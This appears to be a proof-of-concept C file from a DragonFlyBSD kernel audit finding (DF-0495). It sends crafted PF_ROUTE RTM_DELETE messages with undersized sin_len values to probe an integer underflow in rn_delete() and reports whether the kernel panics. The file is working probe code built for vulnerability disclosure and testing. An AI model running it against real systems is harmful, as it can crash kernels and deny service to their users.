DragonFlyBSD Kernel Audit
DF-0495 / route_radix_underflow.c
← back to finding ↓ download raw
/*
 * DF-0495 PoC - rn_delete integer underflow (clean probe, no destructive deletes)
 *
 * Only tests sin_len in {1,2,3} (< head_off=4 for AF_INET) against a
 * NON-existent destination (240.0.0.1), so no real route is ever deleted.
 * Characterizes whether (klen-head_off) underflow -> panic or -> ESRCH.
 *
 * sys/net/radix.c rn_delete():
 *   klen = clen(key);                       // = sa_len
 *   head_off = head->rnh_treetop->rn_offset; // 4 for AF_INET
 *   if (tt == NULL ||
 *       bcmp(key+head_off, tt->rn_key+head_off, klen-head_off) != 0)
 *           return (NULL);
 *
 * Root-only path (PF_ROUTE needs SYSCAP_RESTRICTEDROOT).
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <net/route.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>

int main(void)
{
	int s = socket(PF_ROUTE, SOCK_RAW, AF_INET);
	if (s < 0) { perror("socket(PF_ROUTE)"); return 2; }

	u_char lens[] = { 1, 2, 3 };
	for (int li = 0; li < (int)(sizeof(lens)/sizeof(lens[0])); li++) {
		struct {
			struct rt_msghdr rtm;
			struct sockaddr_in dst;
		} msg;
		memset(&msg, 0, sizeof(msg));
		msg.rtm.rtm_msglen   = sizeof(msg);
		msg.rtm.rtm_version  = RTM_VERSION;
		msg.rtm.rtm_type     = RTM_DELETE;
		msg.rtm.rtm_addrs    = RTA_DST;
		msg.rtm.rtm_seq      = li + 1;
		msg.dst.sin_len      = lens[li];          /* < 4 => underflow */
		msg.dst.sin_family   = AF_INET;
		inet_pton(AF_INET, "240.0.0.1", &msg.dst.sin_addr); /* nonexistent */

		printf("sin_len=%u -> ", lens[li]);
		fflush(stdout);
		ssize_t n = write(s, &msg, sizeof(msg));
		printf("write=%zd errno=%d (%s)\n", n, errno, strerror(errno));
		fflush(stdout);
	}
	printf("DF-0495 probe complete - kernel still alive.\n");
	close(s);
	return 0;
}